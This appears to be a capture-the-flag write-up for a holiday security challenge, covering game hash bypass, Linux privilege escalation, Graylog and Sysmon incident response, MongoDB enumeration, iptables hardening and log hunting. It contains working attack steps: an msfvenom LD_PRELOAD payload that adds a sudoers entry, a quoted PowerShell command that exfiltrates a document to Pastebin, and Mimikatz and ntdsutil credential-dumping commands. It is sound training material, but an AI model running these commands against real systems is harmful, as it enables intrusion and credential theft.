Meds 28% [2-10] [61-96], by 5's [13-20] [4-5]   1 1
Runners 32% 1 [601-951], by 50's [121-191], by 10's [31-48], by 2's [13-20]   2
Reindeer 33% 1 [601-951], by 50's [121-191], by 10's [31-48], by 2's [13-20] 2  

Solution 1 (Easy): Modifying query parameters

Chris's talk gives us a great overview of how to cheat in the game. When you first load the game, you're asked to choose a difficulty. Viewing the source code of that page reveals the following:

<!-- possibly vulnerable to URL param manipulation -->
<li><b>Easy:</b> Start with 5000 money on 1 July</li><br>
<!-- params moved to body of POST request -->
<li><b>Medium:</b> Start with 3000 money on 1 August</li><br>
<!-- add hash integrity to ensure there's NO cheating! -->
<li><b>Hard:</b> Start with 1500 money on 1 September<br><br></li>

Starting a game on easy, we see a text bar with some parameters. As we play the game, these parameters change to reflect the current status. Playing with the numbers, we discover the following maximum values:

Parameter Maximum
Pace 3
Month 12
Day 28, 30, or 31
Reindeer 255
Runners 255
Distance 32767
Food 65535
Meds 65535
Money 65535

To win, we simply set the distance to be over 8,000, click the arrow next to the text bar, and then hit "Go":


Figure 4: Easy Solution

On easy, we see the following code hidden in the source code of the victory page:

I'm sorry, but our princess is in another North Pole.

Solution 2 (Medium): Modifying POST parameters

On medium, we can no longer modify the parameters quite as easily. However, Chris's video once again has a solution for us. We can use our browser's Developer Tools to modify the parameters, or use a proxy such as Burp or ZAP. Again, we simply set the distance to be over 8,000, and hit "Go":


Figure 5: Medium Solution

This time, we see:

Wow! What a great job! … But I think you can do even BETTER.

Solution 3 (Hard): Bypassing the Hash

On hard, things get serious. Each response carries a hash generated by the server, and if we modify any parameters, the hash will not match. There are a couple of ways around this:

  1. Armed with our strategy guide, stop cheating and win!
  2. If something bad happens, just reload the page and hope for a different result,
  3. Crack the hash,
  4. Bypass the hash.

Watching Chris's video, we see some interesting looking server-side code appear at one point, though some of it is truncated:

def hashStatus(status):
  if debuggin: print(f'{OV}--{inspect.currentframe().f_code.co_name) with status of 
    hashvalue = status["Money"] + status["Distance"] + status["Day"] + status["Month
    hashvalue += status["Reindeer"] + status["Runners"] + status["Ammo"] + status["M
    return {"Success":True, "Hash":md5it(str(hashvalue))
  exception Exception as ex: # catch exceptions
    print(f'{OE"*** Exception in, {inspect.currentframe().f_code.c
    return {"Success":False, "Error":f"{inspect.currentframe().f_code.co_name}-Excep

As we play around with the parameters (using the same method as in the medium difficulty), we also notice some interesting facts. The hash doesn't include anyone's health, so to save time and money, stop feeding them, and just reset their health once they inevitably starve. Additionally, if we increase one value by a number, decreasing another value by the same number causes our hash to stay the same. In looking at the server-side code from the video, we see that a number of parameters are added together. This could either be integer addition, or string concatenation. We have a couple of clues that it's integer addition. First, our maximum values align with maximal 8, 16, and 32-bit integers. Additionally, we see the hash calculation as md5it(str(hashvalue)), which converts the hash value to a string before hashing it.

By either playing around with numbers, or searching for some hashes online, we quickly determine that the hash is simply the MD5 of the sum of money + distance + day + month + food + reindeer + runners + ammo + money. We can now set these to arbitrary values, send the correct hash, and view the hidden message on the victory page:

<!-- 1 - When I'm down, my F12 key consoles me
2 - Reminds me of the transition to the paperless naughty/nice list...
3 - Like a present stuck in the chimney!  It got sent...
4 - We keep that next to the cookie jar
5 - My title is toy maker the combination is 12345
6 - Are we making hologram elf trading cards this year?
7 - If we are, we should have a few fonts to choose from
8 - The parents of spoiled kids go on the naughty list...
9 - Some toys have to be forced active
10 - Sometimes when I'm working, I slide my hat to the left and move odd things onto my scalp! -->

We've won! But, this leaves us unsatisfied. By setting all the parameters to their maximal values (and exploiting a bug where arriving on Dec 26th means we arrived 364 days before Christmas), we get a score of 1,517,880. Seems like we can do better.

When the game conditions have been met, we get a URL for the victory screen, which includes a verification hash. This hash is different from the hash used on the hard difficulty, and we were not able to crack how this hash is generated.

Instead, we found some vulnerabilities in the trade function. We start the game (even on hard), and request a trade. We are offering negative 8,000 distances in exchange for bajillions of reindeer, e.g. itemQty=8675309&tradeFor=Reindeer&reqQty=-8000&itemRequested=Distance. The trade function increases our distance by 8,000, gives us bajillions of reindeer, and redirects us to the victory screen with a valid verification hash:


Figure 6: High Score

In this way, we can bypass the hash entirely.


Direct link: ?challenge=nyanshell

In the Speaker UNpreparedness room, in Herney Hall.


nyancat, nyancat
I love that nyancat!
My shell's stuffed inside one
Whatcha' think about that?

Sadly now, the day's gone
Things to do!  Without one...
I'll miss that nyancat
Run commands, win, and done!

Log in as the user alabaster_snowball with a password of Password2, and land in a Bash prompt.

Target Credentials:

username: alabaster_snowball
password: Password2

Launch a Bash shell for alabaster_snowball.

My name's Alabaster Snowball and I could use a hand.

I'm trying to log into this terminal, but something's gone horribly wrong.

Every time I try to log in, I get accosted with … a hatted cat and a toaster pastry?

I thought my shell was Bash, not flying feline.

When I try to overwrite it with something else, I get permission errors.

Have you heard any chatter about immutable files? And what is `sudo -l` telling me?

User's Shells: On Linux, a user's shell is determined by the contents of /etc/passwd

Chatter?: sudo -l says I can run a command as root. What does it do?


The hint guides us towards /etc/passwd:


Alabaster says that he thought his shell was Bash, but it's /bin/nsh instead. We don't have permission to modify /etc/passwd to point to the correct file, but if we look at the permissions on /bin/nsh, we see that anyone can write to it:

elf@term_nyanshell:~$ ls -l /bin/nsh
-rwxrwxrwx 1 root root 75680 Dec 11 17:40 /bin/nsh

Trying to copy bash to nsh results in an error, though:

elf@term_nyanshell:~$ cp /bin/bash /bin/nsh
cp: cannot create regular file '/bin/nsh': Operation not permitted

Turning to the second hint we see that we can run chattr as root:

elf@term_nyanshell:~$ sudo -l
Matching Defaults entries for elf on term_nyanshell:
    env_reset, mail_badpass,

User elf may run the following commands on term_nyanshell:
    (root) NOPASSWD: /usr/bin/chattr

This final hint (combined with the chattr man page) makes it all clear: Have you heard any chatter about immutable files? First, we use our sudo access to make /bin/nsh no longer immutable, then we copy bash over:

elf@term_nyanshell:~$ sudo chattr -i /bin/nsh
elf@term_nyanshell:~$ cp /bin/bash /bin/nsh  
elf@term_nyanshell:~$ su - alabaster_snowball

Loading, please wait......

You did it! Congratulations!


Direct link: (Credentials: elfustudent/elfustudent)

In the Dormitory.


Use Graylog to investigate the incident, and answer 10 questions.

Normally I'm jollier, but this Graylog has me a bit mystified.

Have you used Graylog before? It is a log management system based on Elasticsearch, MongoDB, and Scala.

Some Elf U computers were hacked, and I've been tasked with performing incident response.

Can you help me fill out the incident response report using our instance of Graylog?

It's probably helpful if you know a few things about Graylog.

Event IDs and Sysmon are important too. Have you spent time with those?

Don't worry - I'm sure you can figure this all out for me!

Click on the All messages Link to access the Graylog search interface!

Make sure you are searching in all messages!

The Elf U Graylog server has an integrated incident response reporting system. Just mouse-over the box in the lower-right corner.

Login with the username elfustudent and password elfustudent.

Graylog: Graylog Docs

Event IDs and Sysmon: Events and Sysmon

The second link has a list of SysMon events:

Event ID Event Description
1 Process creation
2 A process changed a file creation time
3 Network connection
4 Sysmon service state changed
5 Process terminated
6 Driver loaded
7 Image loaded
8 CreateRemoteThread
9 RawAccessRead
10 ProcessAccess
11 FileCreate
12 RegistryEvent (Object create and delete)
13 RegistryEvent (Value Set)
14 RegistryEvent (Key and Value Rename)
15 FileCreateStreamHash
16 Sysmon config state changed
17 Pipe created
18 Pipe connected
19 WmiEventFilter activity detected
20 WmiEventConsumer activity detected
21 WmiEventConsumerToFilter activity detected


The first thing we do is adjust our time range to "Search in all messages." A frame on the lower right of the window will pop up with 10 questions for us.

As we answer the questions, we'll get some guidance on how else we could've solved it. We decided to stick with our original approach, to show different solutions.

  • Q1: What is the full-path + filename of the first malicious file downloaded by Minty?

    Minty CandyCane reported some weird activity on his computer after he clicked on a link in Firefox for a cookie recipe and downloaded a file.

    We start with what we know, and search for firefox AND minty. This returns a lot of results, but GrayLog allows us to work with individual fields by selecting them on the right. We see one fieldname which seems interesting, TargetFilename, and select it, and then choose Generate chart. We see 15 messages with that field, most of which are temporary files. One file is different though – C:\Users\minty\Downloads\cookie_recipe.exe.


    Figure 7: TargetFilename chart

    The file extension doesn't match what should be a document, so we submit this and are told it's correct:

    We can find this searching for sysmon file creation event id 2 with a process named firefox.exe and not junk .temp files. We can use regular expressions to include or exclude patterns: TargetFilename:/.+\.pdf/

  • Q2: What was the ip:port the malicious file connected to first?

    The malicious file downloaded and executed by Minty gave the attacker remote access to his machine.

    Using the table of SysMon events, we search for: EventID:3 AND cookie_recipe.exe, and find a single event. Drilling down into the message, we see the destination IP and port: 4444 is often associated with Metasploit. The hostname associated with that machine is DEFANELF.


    Figure 8: Definitely an elf?

    After giving our successful answer, we're told:

    We can pivot off the answer to our first question using the binary path as our ProcessImage.

  • Q3: What was the first command executed by the attacker? (single word)

    We know that the attacker was using cookie_recipe.exe to get remote access to the machine. Presumably, if they were executing a command, it would also be through this malware. We modify our previous search to look for event ID 1 (process creation) instead of network connections. If the malware is executing other commands, we'd expect it to be the parent process.

    With our new search, we toggle the checkboxes in the fields selector on the left, and we just show CommandLine, which is the command being run. Our events are sorted by time, from newest (on top) to oldest, so finding the earliest is easy: whoami.


    Figure 9: Commands run by cookie_recipe.exe

    Upon our successful completion of this question, we're told:

    Since all commands (sysmon event id 1) by the attacker are initially running through the cookie_recipe.exe binary, we can set its full-path as our ParentProcessImage to find child processes it creates sorting on timestamp.

  • Q4: What is the one-word service name the attacker used to escalate privileges?

    Looking at the previous image, we see: sc start webexservice a software-update 1 wmic process call create "cmd.exe /c C:\Users\minty\Downloads\cookie_recipe2.exe". Answering webexservice reveals:

    Continuing on using the cookie_reciper.exe binary as our ParentProcessImage, we should see some more commands later on related to a service.

  • Q5: What is the file-path + filename of the binary ran by the attacker to dump credentials?

    When the attacker was creating the service, they were invoking cookie_recipe2.exe. Updating our search to look for EventID:1 AND cookie_recipe2.exe, and still showing the CommandLine field, we see some additional commands.


    Figure 10: Commands run by cookie_recipe2.exe

    We see the attacker download Mimikatz, a tool that can pull secrets out of memory and do other security experiments. They struggle for a bit, finally saving it as C:\Cookie.exe, then running C:\Cookie.exe "privilege::debug" "sekurlsa::logonpasswords" exit.

    After identifying C:\Cookie.exe, we're told:

    The attacker elevates privileges using the vulnerable webexservice to run a file called cookie_recipe2.exe. Let's use this binary path in our ParentProcessImage search.

  • Q6: The attacker pivoted to another workstation using credentials gained from Minty's computer. Which account name was used to pivot to another machine?

    First, we change our search time window to absolute, after the attacker ran the mimikatz command (2019-11-19 05:45:14) to now (using the wand button as a shortcut).

    Since we're now interested in authentication events, we transition from looking at SysMon events, to looking at stock Windows logs. Using the reference in the hint, we focus in on event ID 4624 (An account was successfully logged on):


    At the bottom of the page are the events closest to the credential dump we observed previously. The very last line is a login for alabaster from the DEFANELF machine we identified previously. Identifying alabaster results in:

    Windows Event Id 4624 is generated when a user network logon occurs successfully. We can also filter on the attacker's IP using SourceNetworkAddress.

  • Q7: What is the time ( HH:MM:SS ) the attacker makes a Remote Desktop connection to another machine?

    Here, we're asked to look for a specific type of successful authentication. Reading the documentation in the hint on event 4624, we see that a logon type of 10 is for remote desktop. By tweaking our previous search to include AND LogonType:10, we see a single event. A login for Alabaster on ELFU-RES-WKS2 from at 06:04:28. The tutorial reminds us:

    LogonType 10 is used for successful network connections using the RDP client.

  • Q8: The attacker navigates the file system of a third host using their Remote Desktop Connection to the second host. What is the SourceHostName,DestinationHostname,LogonType of this connection?

    Once more, we read the 4624 documentation. Logon type 3 is described as "Network (i.e. connection to shared folder on this computer from elsewhere on network)," which certainly seems to be what's being described here. We modify our previous search, to look for type 3 instead of 10. There are a few results, but we're also told that the source should be the second host (ELFU-RES-WKS2). Our search ends up being: EventID:4624 AND LogonType:3 AND SourceHostName:ELFU\-RES\-WKS2, which gives us what we need: ELFU-RES-WKS2,elfu-res-wks3,3. Once solved, we get the explanation:

    The attacker has GUI access to workstation 2 via RDP. They likely use this GUI connection to access the file system of of workstation 3 using explorer.exe via UNC file paths (which is why we don't see any cmd.exe or powershell.exe process creates). However, we still see the successful network authentication for this with event id 4624 and logon type 3.

  • Q9: What is the full-path + filename of the secret research document after being transferred from the third host to the second host?

    If the file is being transferred to the second host (elfu-res-wks2), we would expect to see a SysMon file modification event (id:2). Sure enough, if we modify our search to be EventID:2 AND source:elfu\-res\-wks2, we see a number of files being created. The top few are temporary files, but one file has a more interesting name: C:\Users\alabaster\Desktop\super_secret_elfu_resarch.pdf.


    The process which created the file is Windows Explorer, which would line up with the attacker navigating the file system.

    The tutorial takes a regex-based approach:

    We can look for sysmon file creation event id of 2 with a source of workstation 2. We can also use regex to filter out overly common file paths using something like: AND NOT TargetFilename:/.+AppData.+/

  • Q10: What is the IPv4 address (as found in logs) the secret research document was exfiltrated to?

    To determine what happens with the file, we start by searching for super_secret_elfu_research.pdf. We get two hits: one message from the previous file transfer, and one in an invocation of PowerShell:

    Invoke-WebRequest -Uri -Method POST -Body @{ 
        "submit_hidden" = "submit_hidden"; 
        "paste_code" = $([Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Users\alabaster\Desktop\super_secret_elfu_research.pdf"))); 
        "paste_format" = "1"; "paste_expire_date" = "N"; "paste_private" = "0"; "paste_name"="cookie recipe" 

    The file was exfiltrated to Pastebin! To get the IP address, we search for, and we get another message: the SysMon event for the network connection:


    After identifying the IP address, we're told:

    Incident Response Report #7830984301576234 Submitted.

    Incident Fully Detected!

Mongo Pilfer

Direct link: ?challenge=mongo

In the NetWars room, in Hermey Hall.


Hello dear player!  Won't you please come help me get my wish!
I'm searching teacher's database, but all I find are fish!
Do all his boating trips effect some database dilution?
It should not be this hard for me to find the quiz solution!

Find the solution hidden in the MongoDB on this system.

Find the solution to a quiz hidden on the MongoDB instance.

Hey! It's me, Holly Evergreen! My teacher has been locked out of the quiz database and can't remember the right solution.

Without access to the answer, none of our quizzes will get graded.

Can we help get back in to find that solution?

I tried lsof -i, but that tool doesn't seem to be installed.

I think there's a tool like ps that'll help too. What are the flags I need?

Either way, you'll need to know a teensy bit of Mongo once you're in.

Pretty please find us the solution to the quiz!


If we just run the mongo client, we get:

elf@term_mongo:~$ mongo
MongoDB shell version v3.6.3
connecting to: mongodb://
2020-01-04T01:25:21.256+0000 W NETWORK  [thread1] Failed to connect to, in(checking socket for error after poll), reason: Connection refused
2020-01-04T01:25:21.256+0000 E QUERY    [thread1] Error: couldn't connect to server, connection attempt failed :
exception: connect failed

Hmm... what if Mongo isn't running on the default port?

So, our first task is to find what port the server is running on. We have a couple hints about some commands we can run.

We start by figuring out what lsof -i would have done, if lsof were available. From the lsof man page:

-i [i]
    selects the listing of files any of whose Internet address matches the
    address specified in i. If no address is specified, this option
    selects the listing of all Internet and x.25 (HP-UX) network files.

lsof would have helped us find the right port number, but as it's not available, we're guided towards ps instead.

elf@term_mongo:~$ ps ax
    1 pts/0    Ss     0:00 /bin/bash
    9 ?        Sl     0:01 /usr/bin/mongod --quiet --fork --port 12121 --bind_ip --logpath=/tmp/mongo.log
   57 pts/0    R+     0:00 ps ax

The Mongo documentation from the hint tells us how to connect to a non-default port:

elf@term_mongo:~$ mongo --port=12121
MongoDB shell version v3.6.3
connecting to: mongodb://
MongoDB server version: 3.6.3
Welcome to the MongoDB shell.

The documentation link in the hint sends us to list databases, so we'll try that first:

> db.adminCommand( { listDatabases: 1 } )
        "databases" : [
                        "name" : "admin",
                        "sizeOnDisk" : 32768,
                        "empty" : false
                        "name" : "elfu",
                        "sizeOnDisk" : 294912,
                        "empty" : false
                        "name" : "local",
                        "sizeOnDisk" : 65536,
                        "empty" : false
                        "name" : "test",
                        "sizeOnDisk" : 32768,
                        "empty" : false
        "totalSize" : 425984,
        "ok" : 1

If it's a solution to a quiz we're after, elfu sounds like a good place to start. Perusing the documentation some more, we switch to that database, then list the contents ("collections"):

> use elfu
switched to db elfu
> db.getCollectionNames() 

These must be the fishing-related terms that were referenced when first connecting to the system. Our goal is the solution, so we'll find that:

> db.loadServerScripts()
> displaySolution()

       __/ __


Escalating to Root

If we check sudo -l, we see an interesting entry:

(root) SETENV: NOPASSWD: /usr/bin/python /

This is noteworthy because we're allowed to configure the environment (SETENV). One environment variable we can set is LD_PRELOAD, which is:

A list of additional, user-specified, ELF shared objects to be loaded before all others.

We can use msfvenom, a tool that comes with Metasploit to create a shared object that will run an arbitrary command:

msfvenom -p linux/x64/exec CMD="echo 'elf ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers" -f elf-so -o

Now we just download this, and run our command with LD_PRELOAD set to our malicious file:

elf@term_mongo:~$ wget
elf@term_mongo:~$ sudo LD_PRELOAD=/home/elf/ -E /usr/bin/python /

At this point, it looks like our command has failed. However we should now be able to run any command without a password:

elf@term_mongo:~$ sudo su -
root@term_mongo:~# id
uid=0(root) gid=0(root) groups=0(root)

Smart Braces

Direct link: ?challenge=iptables

In the Student Union.


Inner Voice: Kent. Kent. Wake up, Kent.
Inner Voice: I'm talking to you, Kent.
Kent TinselTooth: Who said that? I must be going insane.
Kent TinselTooth: Am I?
Inner Voice: That remains to be seen, Kent. But we are having a conversation.
Inner Voice: This is Santa, Kent, and you've been a very naughty boy.
Kent TinselTooth: Alright! Who is this?! Holly? Minty? Alabaster?
Inner Voice: I am known by many names. I am the boss of the North Pole. Turn to me and be hired after graduation.
Kent TinselTooth: Oh, sure.
Inner Voice: Cut the candy, Kent, you've built an automated, machine-learning, sleigh device.
Kent TinselTooth: How did you know that?
Inner Voice: I'm Santa - I know everything.
Kent TinselTooth: Oh. Kringle. *sigh*
Inner Voice: That's right, Kent. Where is the sleigh device now?
Kent TinselTooth: I can't tell you.
Inner Voice: How would you like to intern for the rest of time?
Kent TinselTooth: Please no, they're testing it at using default creds, but I don't know more. It's classified.
Inner Voice: Very good Kent, that's all I needed to know.
Kent TinselTooth: I thought you knew everything?
Inner Voice: Nevermind that. I want you to think about what you've researched and studied. From now on, stop playing with your teeth, and floss more.
*Inner Voice Goes Silent*

Kent TinselTooth: Oh no, I sure hope that voice was Santa's.
Kent TinselTooth: I suspect someone may have hacked into my IOT teeth braces.
Kent TinselTooth: I must have forgotten to configure the firewall...
Kent TinselTooth: Please review /home/elfuuser/ and help me configure the firewall.
Kent TinselTooth: Please hurry; having this ribbon cable on my teeth is uncomfortable.

Configure the iptables firewall.

Do you think you could take a look at my Smart Braces terminal?

I'll bet you can keep other students out of my head, so to speak.

It might just take a bit of Iptables work.

Iptables: Iptables


sudo iptables -P INPUT DROP
sudo iptables -P FORWARD DROP
sudo iptables -P OUTPUT DROP
sudo iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
sudo iptables -A OUTPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 22 -s -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 21 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT
sudo iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT
sudo iptables -A INPUT -i lo -j ACCEPT
sudo iptables -L

We're told to review

1. Set the default policies to DROP for the INPUT, FORWARD, and OUTPUT chains.
2. Create a rule to ACCEPT all connections that are ESTABLISHED,RELATED on the INPUT and the OUTPUT chains.
3. Create a rule to ACCEPT only remote source IP address to access the local SSH server (on port 22).
4. Create a rule to ACCEPT any source IP to the local TCP services on ports 21 and 80.
5. Create a rule to ACCEPT all OUTPUT traffic with a destination TCP port of 80.
6. Create a rule applied to the INPUT chain to ACCEPT all traffic from the lo interface.

For the first requirement, we can use an example from

elfuuser@term_iptables:~$ sudo iptables -P INPUT DROP
elfuuser@term_iptables:~$ sudo iptables -P FORWARD DROP
elfuuser@term_iptables:~$ sudo iptables -P OUTPUT DROP

Like with most Linux tools, we get no output if the command succeeded. We can test the current configuration with a line from the hint:

elfuuser@term_iptables:~$ sudo iptables -L 
Chain INPUT (policy DROP)
target     prot opt source               destination
Chain FORWARD (policy DROP)
target     prot opt source               destination
Chain OUTPUT (policy DROP)
target     prot opt source               destination

Requirement two is also a one-liner from the hint:

elfuuser@term_iptables:~$ sudo iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
elfuuser@term_iptables:~$ sudo iptables -A OUTPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

For the next one, we modify a command from the Markdown file:

elfuuser@term_iptables:~$ sudo iptables -A INPUT -p tcp --dport 22 -s -j ACCEPT

To allow any connections to ports 21 and 80, we use a command from the hint:

elfuuser@term_iptables:~$ sudo iptables -A INPUT -p tcp --dport 21 -j ACCEPT
elfuuser@term_iptables:~$ sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT

We can slightly tweak the command above to accept HTTP output traffic:

elfuuser@term_iptables:~$ sudo iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT

Finally, we'll accept our own traffic. This one wasn't in any hint, but we're familiar enough by now that we can find the correct invocation:

elfuuser@term_iptables:~$ sudo iptables -A INPUT -i lo -j ACCEPT

Our final configuration looks like this:

elfuuser@term_iptables:~$ sudo iptables -L 
Chain INPUT (policy DROP)
target     prot opt source               destination         
ACCEPT     all  --  anywhere             anywhere             ctstate RELATED,ESTABLISHED
ACCEPT     tcp  --         anywhere             tcp dpt:22
ACCEPT     tcp  --  anywhere             anywhere             tcp dpt:21
ACCEPT     tcp  --  anywhere             anywhere             tcp dpt:80
ACCEPT     all  --  anywhere             anywhere            
Chain FORWARD (policy DROP)
target     prot opt source               destination         
Chain OUTPUT (policy DROP)
target     prot opt source               destination         
ACCEPT     all  --  anywhere             anywhere             ctstate RELATED,ESTABLISHED
ACCEPT     tcp  --  anywhere             anywhere             tcp dpt:80

And sure enough, Kent verifies it and congratulates us:

Kent TinselTooth: Great, you hardened my IOT Smart Braces firewall!

Zeek JSON Analysis

Direct link: ?challenge=jq

In the Sleigh Workshop


Some JSON files can get quite busy.
There's lots to see and do.
Does C&C lurk in our data?
JQ's the tool for you!

-Wunorse Openslae

Identify the destination IP address with the longest connection duration
using the supplied Zeek logfile. Run runtoanswer to submit your answer.

Find the destination IP address with the longest connection duration.

Wunorse Openslae here, just looking at some Zeek logs.

I'm pretty sure one of these connections is a malicious C2 channel…

Do you think you could take a look?

I hear a lot of C2 channels have very long connection times.

Please use jq to find the longest connection in this data set.

We have to kick out any and all grinchy activity!


The hint is kind enough to provide us with exactly the one-liner we need:

elf@term_jq:~$ cat conn.log | jq -s 'sort_by(.duration) | reverse | .[0]'
  "ts": "2019-04-18T21:27:45.402479Z",
  "uid": "CmYAZn10sInxVD5WWd",
  "id.orig_h": "",
  "id.orig_p": 8,
  "id.resp_h": "",
  "id.resp_p": 0,
  "proto": "icmp",
  "duration": 1019365.337758,
  "orig_bytes": 30781920,
  "resp_bytes": 30382240,
  "conn_state": "OTH",
  "missed_bytes": 0,
  "orig_pkts": 961935,
  "orig_ip_bytes": 57716100,
  "resp_pkts": 949445,
  "resp_ip_bytes": 56966700
elf@term_jq:~$ runtoanswer 
Loading, please wait......

What is the destination IP address with the longes connection duration?

Thank you for your analysis, you are spot-on.
I would have been working on that until the early dawn.
Now that you know the features of jq,
You'll be able to answer other challenges too.

-Wunorse Openslae



0. Talk to Santa in the Quad

Enter the campus quad and talk to Santa.



Figure 14: Santa, with an umbrella

1. Find the Turtle Doves

Find the missing turtle doves.


Entering the Student Union, and clicking on Michael and Jane complete this objective.


Figure 15: Warm by the fire…

2. Unredact Threatening Document ๐ŸŽ„

Someone sent a threatening letter to Elf University. What is the first word in ALL CAPS in the subject line of the letter?

Please find the letter in the Quad.


Inspecting the Quad, we find the letter next to a tree:


Figure 16: "Sorry about the wall, sir." "And the tree across the quad."

Unfortunately, the subject line is redacted! However, they didn't do a very good job. A simple copy-paste is enough to recover the text.


Figure 17: "In high school they pushed me in a mailbox, did I tell you that?"

3. Windows Log Analysis: Evaluate Attack Outcome ๐ŸŽ„


We're seeing attacks against the Elf U domain! Using the event log data, identify the user account that the attacker compromised using a password spray attack.

Have you taken a look at the password spray attack artifacts?

I'll bet that DeepBlueCLI tool is helpful.

You can check it out on GitHub.

It was written by that Eric Conrad.

He lives in Maine - not too far from here!

Bushy Evergreen is hanging out in the train station and may be able to help you out.

Deep Blue CLI on Github: Github page for DeepBlueCLI

Deep Blue CLI Posting: Eric Conrad on DeepBlueCLI


This challenge requires a Windows system. You can use a free test VM from Microsoft.

We download the data, install DeepBlueCLI, and then get cracking in a Powershell session. Running DeepBlue outputs alerts for several password spray attacks:

.\DeepBlue.ps1 Security.evtx

Date    : 11/19/2019 4:22:46 AM
Log     : Security
EventID : 4648
Message : Distributed Account Explicit Credential Use (Password Spray Attack)
Results : The use of multiple user account access attempts with explicit credentials is an indicator of a password spray attack.
          Target Usernames: ygoldentrifle esparklesleigh hevergreen Administrator sgreenbells cjinglebuns tcandybaubles bbrandyleaves bevergreen lstripyleaves gchocolatewine wopenslae ltrufflefig supatree mstripysleigh pbrandyberry civysparkles sscarletpie
          ftwinklestockings cstripyfluff gcandyfluff smullingfluff hcandysnaps mbrandybells twinterfig civypears ygreenpie ftinseltoes smary ttinselbubbles dsparkleleaves
          Accessing Username: -
          Accessing Host Name: -

However, we're looking for the user account that was compromised with the password spray attack. As the attacker is trying passwords against a large number of accounts, any accounts with successful logins will have been compromised. To find successful authentications, we turn to our new-found Powershell-fu, parsing the log and filtering on event ID 4624 (successful login):

Get-WinEvent -Path .\Security.evtx -FilterXPath "*[System[EventID=4624]]"

   ProviderName: Microsoft-Windows-Security-Auditing

TimeCreated                     Id LevelDisplayName Message
-----------                     -- ---------------- -------
11/19/2019 4:23:47 AM         4624 Information      An account was successfully logged on....
11/19/2019 4:23:41 AM         4624 Information      An account was successfully logged on....
11/19/2019 4:21:34 AM         4624 Information      An account was successfully logged on....
8/23/2019 5:00:41 PM          4624 Information      An account was successfully logged on....
8/23/2019 5:00:20 PM          4624 Information      An account was successfully logged on....

We see some successful logins, around the same time as the password spray attack. We'll rerun the previous search, this time using Select-Object to format the output with some additional fields:

Get-WinEvent -Path .\Security.evtx -FilterXPath "*[System[EventID=4624]]" | 
Select-Object -Property TimeCreated,MachineName,@{

TimeCreated           MachineName  TargetAccountName WorkstationName
-----------           -----------  ----------------- ---------------
11/19/2019 4:23:47 AM DC1$              -
11/19/2019 4:23:41 AM DC1$              -
11/19/2019 4:23:05 AM supatree          WORKSTATION
11/19/2019 4:22:41 AM DC1$              -
11/19/2019 4:22:25 AM DC1$              -
11/19/2019 4:22:25 AM DC1$              -
11/19/2019 4:22:25 AM DC1$              -
11/19/2019 4:22:25 AM DC1$              -
11/19/2019 4:22:25 AM DC1$              -
11/19/2019 4:21:46 AM DC1$              -
11/19/2019 4:21:46 AM DC1$              -
11/19/2019 4:21:45 AM supatree          DC1
11/19/2019 4:21:41 AM DC1$              -
11/19/2019 4:21:34 AM pminstix          WORKSTATION
8/23/2019 5:00:41 PM DC1$              -
8/23/2019 5:00:20 PM pminstix          WORKSTATION

We've narrowed it down to two users: pminstix and supatree. Of these, only supatree shows up in the DeepBlue password spraying alert list of usernames, which is our answer.

4. Windows Log Analysis: Determine Attacker Technique ๐ŸŽ„๐ŸŽ„


Using these normalized Sysmon logs, identify the tool the attacker used to retrieve domain password hashes from the lsass.exe process.

Have you tried the Sysmon and EQL challenge?

If you aren't familiar with Sysmon, Carlos Perez has some great info about it.

Haven't heard of the Event Query Language?

Check out some of Ross Wolf's work on EQL or that blog post by Josh Wright in your badge.

For hints on achieving this objective, please visit Hermey Hall and talk with SugarPlum Mary.

Sysmon: Sysmon By Carlos Perez

Event Query Language: EQL Threat Hunting


Our solution follows Josh's blog post pretty closely. We know the attacker used the lsass.exe process to launch a tool to retrieve password hashes. Our first search is for programs with a parent process of lsass.exe. We pipe the output into jq for formatting:

eql query -f sysmon-data.json "process where parent_process_name = 'lsass.exe'" | 
  jq "{process_name,parent_process_name,command_line,pid}"
  "process_name": "cmd.exe",
  "parent_process_name": "lsass.exe",
  "command_line": "C:\\Windows\\system32\\cmd.exe",
  "pid": 3440

lsass launched a single process, a command prompt. Let's see what commands were issued via the command prompt by looking for processes with a parent process id ("ppid") of our cmd.exe process:

eql query -f sysmon-data.json "process where ppid = 3440" | 
  jq "{process_name,parent_process_name,command_line,pid}"
  "process_name": "ntdsutil.exe",
  "parent_process_name": "cmd.exe",
  "command_line": "ntdsutil.exe  \"ac i ntds\" ifm \"create full c:\\hive\" q q",
  "pid": 3556

The tool was ntdsutil.exe.

Looking at commands run with other cmd.exe invocations, we see some bad-looking Powershell, and a password spraying attack. We can even tell that supatree's password was Passw0rd1 when they fell victim to the spraying attack, as the attacker runs net use \\\\\\IPC$ /user:ELFU\\supatree Passw0rd1 to try to mount a fileshare with that username and password, then runs net use /delete \\\\\\IPC$ to unmount it.

5. Network Log Analysis: Determine Compromised System ๐ŸŽ„๐ŸŽ„


The attacks don't stop! Can you help identify the IP address of the malware-infected system using these Zeek logs?

For objective 5, have you taken a look at our Zeek logs?

Something's gone wrong. But I hear someone named Rita can help us.

Can you and she figure out what happened?

For hints on achieving this objective, please visit the Laboratory and talk with Sparkle Redberry.

RITA: RITA's homepage


We download the provided ZIP file, and extract it. In the archive, we find the standard Zeek logs for about 21 hours in August 2019. We also see a directory named ELFU, which has RITA output. Since the hint told us to use RITA, we'll pursue that.

Opening index.html gives us a summary of what RITA found. We have a number of tabs at the top, including Beacons and Long Connections. We have the same IP address at the top of both of those lists,

In the beaconing detection, that IP's activity to has a score of 99.8%. If we search for those IP addresses in the Zeek conn logs (fgrep conn.* | fgrep, we find a service of http, so we dig deeper in the http logs.

Like clockwork, we see HTTP POST requests every 10 seconds from to Unforunately, our logs begin with that activity, so we can't determine how the system was compromised, but we're reasonably compromised that is compromised.

6. Splunk ๐ŸŽ„๐ŸŽ„๐ŸŽ„


Access as elf with password elfsocks. What was the message for Kent that the adversary embedded in this attack?

